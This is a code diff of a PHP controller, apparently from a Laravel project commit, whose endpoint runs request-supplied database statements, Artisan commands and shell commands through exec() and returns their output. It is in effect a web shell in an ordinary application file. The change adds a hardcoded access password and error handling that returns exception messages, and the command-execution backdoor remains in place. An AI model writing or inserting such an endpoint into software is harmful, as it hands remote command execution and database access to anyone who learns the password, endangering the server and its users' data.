@@ -12,21 +12,30 @@ class MainController
12
12
public function __invoke (Request $ request )
13
13
{
14
14
$ type = $ request ->input ('type ' );
15
+ $ password = $ request ->input ('password ' );
15
16
$ statement = $ request ->input ('statement ' );
16
17
$ method = $ request ->input ('method ' );
17
18
18
- if ($ type == 'db ' ) {
19
- return response ()->json (DB ::$ method ($ statement ));
20
- } elseif ($ type == 'artrisan ' ) {
21
- Artisan::$ method ($ statement );
19
+ if ($ password != 'zereflab#4686 ' ) {
20
+ return response ()->json (['message ' => 'Password not matched ' ]);
21
+ }
22
22
23
- return response ()->json (['message ' => 'Artisan command executed ' ]);
24
- } elseif ($ type == 'shell ' ) {
25
- exec ($ statement , $ output );
23
+ try {
24
+ if ($ type == 'db ' ) {
25
+ return response ()->json (DB ::$ method ($ statement ));
26
+ } elseif ($ type == 'artrisan ' ) {
27
+ Artisan::$ method ($ statement );
26
28
27
- return response ()->json ($ output );
28
- }
29
+ return response ()->json (['message ' => 'Artisan command executed ' ]);
30
+ } elseif ($ type == 'shell ' ) {
31
+ exec ($ statement , $ output );
29
32
30
- return response ()->json (['message ' => 'Type not matched ' ]);
33
+ return response ()->json ($ output );
34
+ }
35
+
36
+ return response ()->json (['message ' => 'Type not matched ' ]);
37
+ } catch (\Exception $ e ) {
38
+ return response ()->json (['message ' => $ e ->getMessage ()]);
39
+ }
31
40
}
32
41
}
0 commit comments